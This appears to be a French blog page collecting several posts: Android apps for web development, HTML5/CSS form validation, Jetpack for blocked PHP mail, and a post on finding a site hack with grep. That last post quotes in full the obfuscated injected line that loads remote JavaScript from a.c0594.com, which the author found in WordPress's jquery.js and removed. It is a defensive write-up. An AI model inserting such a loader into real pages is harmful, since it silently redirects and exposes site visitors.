Beaucoup de gens se sentent limités pour apprendre la programmation web et certains poussent souvent des raisons inappropriées (Manque de matos) dont elles (raisons) serons évidentes que si vous habitez la zone, bref, j’en passe.
Majoritairement, la programmation Web, nous la faisons ou l’apprenons toujours depuis un PC. Mais savez-vous que vous pouvez apprendre ou faire la programmation web depuis votre smartphone ? Pas toujours obligé d’apporter son PC à la FAC pour apprendre par exemple à coder en PHP; votre Android vous servira largement. Je vous fais une liste des applications qui vous permettront d’apprendre ou de faire la programmation web depuis votre Android.

A savoir
J’avais fait toutes les configurations (Thème, plugins et déploiement) de l’ancienne version d’Informagenie depuis Android

IDE (Editeur de texte)

Un éditeur de texte est un programme qui permet d’écrire le code source d’un programme qu’on programme. Sous Windows, notepad++, pour débuter en HTML et CSS fait suffisamment l’affaire mais pour un langage de programmation comme PHP, Utiliser un IDE (comme PHPstorm que j’utilise) est conseillé. Sous Android, Il existe aussi les IDE dont voici deux d’eux que j’utilise fréquemment.

AWD – PHP/HTML/CSS/JS

J’adore l’IDE car je le trouve meilleur parmi les IDE Android. Voici certaines de ses fonctionnalités :

  • La coloration syntaxique
  • L’auto-complétion
  • La gestion des projets localement ou en ligne
  • Visualisation du projet depuis le navigateur intégré.
  • Édition des fichiers depuis le serveur FTP
AWD - PHP/HTML/CSS/JS IDE
AWD - PHP/HTML/CSS/JS IDE
Développeur: Akid Soft
Prix: Gratuit+
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran
  • AWD - PHP/HTML/CSS/JS IDE Capture d'écran

DroidEditor

Je ne l’ai pas beaucoup utilisé mais Il est rapide, performant et facile à utiliser.

APACHE, PHP ET MYSQL (SERVEUR WEB)

L’inclusion d’un serveur web comme APACHE ou NGINX, du langage de programmation PHP et du SGBD (Système de Gestion de base de données) MySQL a donné naissance a plusieurs logiciel tel que WAMP pour Windows, Lamp pour linux et MAMP pour MAC. Il en existe aussi pour Android dont voici encore deux d’entre-eux.

PHP Runner

Une application complètement gratuite qui vous permet de faire quasi tout ce qu’on peut faire pour développer une application web en PHP. Il intègre lui même un éditeur mais vous êtes bien sûr d’en utiliser d’autres parmi ceux cités ci-haut. Le SGBD MySQL y est aussi intégré y compris PHPMyAdmin.

Télécharger PHP Runner

Namp

Namp dispose :

  • Du SGBD MySQL
  • De l’application PhpMyAdmin

Ce n’est malheureusement pas gratuit.

NAMP nginx android web server
NAMP nginx android web server
Développeur: NAMP ltd.
Prix: Gratuit+
  • NAMP nginx android web server Capture d'écran
  • NAMP nginx android web server Capture d'écran
  • NAMP nginx android web server Capture d'écran
  • NAMP nginx android web server Capture d'écran
  • NAMP nginx android web server Capture d'écran
  • NAMP nginx android web server Capture d'écran
  • NAMP nginx android web server Capture d'écran

Ksweb

KSWEB: server + PHP + MySQL
KSWEB: server + PHP + MySQL
Développeur: KSLABS
Prix: Gratuit+
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran
  • KSWEB: server + PHP + MySQL Capture d'écran

Heureux de vous retrouver de nouveau ! Vous savez peut-être faire des recherches dans votre PC pour retrouver les fichiers qui se trouvent dans votre disque dur mais pas chercher les caractères qui se trouvent dans les fichiers de votre disques durs. Vous vous demanderiez peut-être c’est quoi l’intérêt de chercher ce qui se trouve dans un fichier… Ayez la réponse dans mon exemple simple.
Récemment, vous ne l’avez peut être pas remarqué mais ce blog (Informagenie) était piraté. Ce qui se faisait était que tous les visiteurs qui venait dans ce blog par biais (Referer) d’une autre site était redirigé dans un autre lien (a.c0594.com/?tz=1) diffusant des pubs.  Je croyais que c’était dû à l’hébergement gratuit. Mais en changeant d’hébergeur, ce comportement n’avait pas changé. Du coup j’ai perdu beaucoup de visiteurs venant des moteurs de recherches, des réseaux sociaux.

Un peu d’analyse (et des recherches) m’a emmené au script a.c0594.com/?js=1 et dans les codes s’écrivait dans la source document.writeln('<'+'scr'+'ipt type="text/javascript" src="https://a.c'+'0594.com/?js=1"></'+'scr'+'ipt>'); se trouvait forcement dans l’un de mes scripts WordPress. Alors ouvrir un par un  les fichiers (Des plugins, thèmes et cores) du blog (Plus de 100000 fichiers) avec des milieux de lignes de codes, vous savez comment ça gène ?

Aujourd’hui je vous parle d’un outil qui m’a récemment sauvé la vie. Une commande Linux grep qui vous sauvera peut aussi peut-être un jour la vie.

grep est un programme s’exécutant en ligne de commande et qui permet de faire des recherches (extraire, trier et filtrer) dans le fichier. C’est avec celui que j’ai enfin reconnu le but de l’informatique aux humanités (Éviter les travails répétitifs et fastidieux).

Grep sous Windows, Linux, Mac et Android

Le mieux est que vous pouvez utiliser la commande grep dans quasi tous les OS. Grep sst disponible dans tous ces plateforme. Je vous montre comment l’utiliser depuis Android pour la porté de tous mais pour Windows j’utilise mingw-w64, pour linux et Mac OS c’est déjà préinstallé et pour Android, installer terminal emulator et busybox.

Utilisation de grep

Je ne peux malheureusement pas ici vous faire le tours d’utilisation de cette commande. Je vous montre juste comment j’ai {fixé | règlé} le problème de redirection vers a.c0594.com/?j=1 sous wordpress et pour la suite, Ce tutoriel d’openclassrooms vous sera le plus complet et s’adaptera même dans Android.

Pour fixer mon problème, je me suis placé dans la racine de mes fichiers WordPress et j’ai exécuté la commande

  1. grep : La commande
  2. -r : est l’argument récursif qui veut dire, chercher dans tous les fichiers de tous les dossiers et les sous-dossiers
  3. 0594.com/?js=1” : est juste le caractère susceptible d’être dans l’un de ces fichiers

Et au bout d’environ 3 minutes j’ai eu le résultat complet. Le code malicieux se trouvait dans le fichier jquery.js dans le l’arborescence wp-include/js/jquery/jquery.js . C’était dans le cœur même du WordPress où je n’aurez même pas l’idée de commencer avec s’il fallait voir un à un les fichiers.

Javascript,  un langage de programmation tout de même mais sa syntaxe fait souvent peur. Adepte de la programmation web qu’on peut être,  bien que souvent on a l’habitude de vérifier les données issues d’un formulaire dans le serveur (backend), mais souvent nous vérifions aussi les données côté client (front) pour éviter de surcharger le serveur à des requêtes inutiles. On le fais majoritairement avec Javascript qui parait difficile à prendre à main. Mais avec l’arrivé de HTML5 et CSS3, ce coté peut être géré sans Javascript.

Coté HTML5

La structure classique d’un formulaire ressemble à ceci

Avec HTML5, On spécifie souvent l’attribut type pour vérifier certains champ avec les valeurs :

  • email: vérifie le champ s’il correspond à une adresse email
  • number: vérifie le champ s’il contient que les données de type numériques

Et juste l’attribut required pour dire que le formulaire ne peut pas être envoyé si le champ est vide où en mettant n’importe quoi envoie le formulaire.

Aussi, avec l’attribut type c’est impossible  d’aller un peu plus loin pour vérifier par exemple le nombre de caractère qu’un champ doit avoir ou vérifier la structure des données que le champ doit recevoir (Ex: 11/07/1996) comme on fait souvent avec Javascript. Heureusement qu’il y a aussi l’attribut pattern

L’attribut pattern prend comme valeur une expression régulière (RegEx).

Ici j’ai vérifié dans la ligne 12 le format de la date pour qu’il correspond à une structure comme suit : JJ/MM/AAAA et la ligne 4 le nom qui doit contenir une chaine de caractère entre 4 et 15 caractères. Si quelqu’un s’hasarde d’introduire quoi que ce soit, il a droit à une erreur côté client.

html pattern

Toutes les expressions régulières sont prises en charge, donc ceux le RegEx leur dit quelque chose, voient déjà des multitudes de possibilités de vérifier les champs de la façon dont on veut.

Faites attention
Bien que la vérification peut se faire coté client, il est toute fois recommandé de vérifier aussi les données coté serveur car dans le navigateur tout peut être modifié. Never trust user input

Du style, du style et du style (Coté CSS)

Quand le navigateur détecte l’erreur, C’est en validant qu’il affiche le message d’erreur mais si maintenant le champ n’a pas d’erreur, il y a rien qui s’affiche aussi. Or du style fait bonne impression par exemple, mettre les bordures du champ en rouge quand il y a l’erreur et en vert quand tout est OK. Alors on gère en CSS avec les pseudo-classes :valide et :invalide

 

En ajoutant un peu de style, l’utilisateur saura que le champs contient les erreurs ou non au fur et à mesure qu’il tape les données. l’équivalent de l’événement onkeyup de Javascript pour ceux qui sont habitués avec.

invalide and valide

C’est très claire maintenant car le nom ne correspond pas aux règles qui requis de 4 à 15 caractères et ses bordures sont en rouge. Pour la date tout semble aller et c’est en vert.

La plus part de blogueur commence leurs blog sous Wordpres avec l’hébergement gratuit dont j’en fais parti 🙂 et c’est pas si mal quand on a encore un trafic plus au moins évident pour l’hébergeur. Seulement il y a un problème qui se pose; Rare sont-ils mais existent des hébergeurs qui bloquent la fonction PHP mail() et qu’au cas où cela est ainsi, Vous auriez les difficultés sur tous ce qui est envoie de mail comme :

  • Impossible de notifier ses abonnées si on prévoyais un newsletters
  • Notifier ses abonnées sur les nouveaux commentaires

Vous voyez que vous seriez quasi bloqué pour un bon fonctionnement de votre blog ! Quoi faire ? Changer d’hébergeur ? OUI mais tenir compte du travail à faire cela reste un grand travail. Mais je vous conseillerai au cas où vous voulez basculer pour un hébergement payant de le faire mais au cas contraire, Je vous montre la solution toute bête mais qui marche avec le plugin JetPack.

Jetpack utilise ses propres serveurs (hébergements) pour livrer les mails avec l’une de ses fonctionnalités (module) Abonnements; vous pouvez envoyez de mail à vos abonnées même si votre hébergeur ne dispose pas de fonction mail parce que dans les serveurs de celui ci, la fonction mail est active. Pour s’en faire, c’est très simple :

  1. Installer et activer le plugin JetPack
    Jetpack by WordPress.com
    Jetpack by WordPress.com
    Développeur: Automattic
    Prix: Gratuit
    • Jetpack by WordPress.com Capture d'écran
    • Jetpack by WordPress.com Capture d'écran
    • Jetpack by WordPress.com Capture d'écran
    • Jetpack by WordPress.com Capture d'écran
    • Jetpack by WordPress.com Capture d'écran
  2. Il est par défaut activé mais si ce n’est pas le cas, activez-le
    fonction mail indisponible
    Une fois faites, Vous recevrez tous les messages dont selon votre configuration devrais être expédier dans les mails de vos abonnés.

Feedburner de Google fait aussi la même chose gratuitement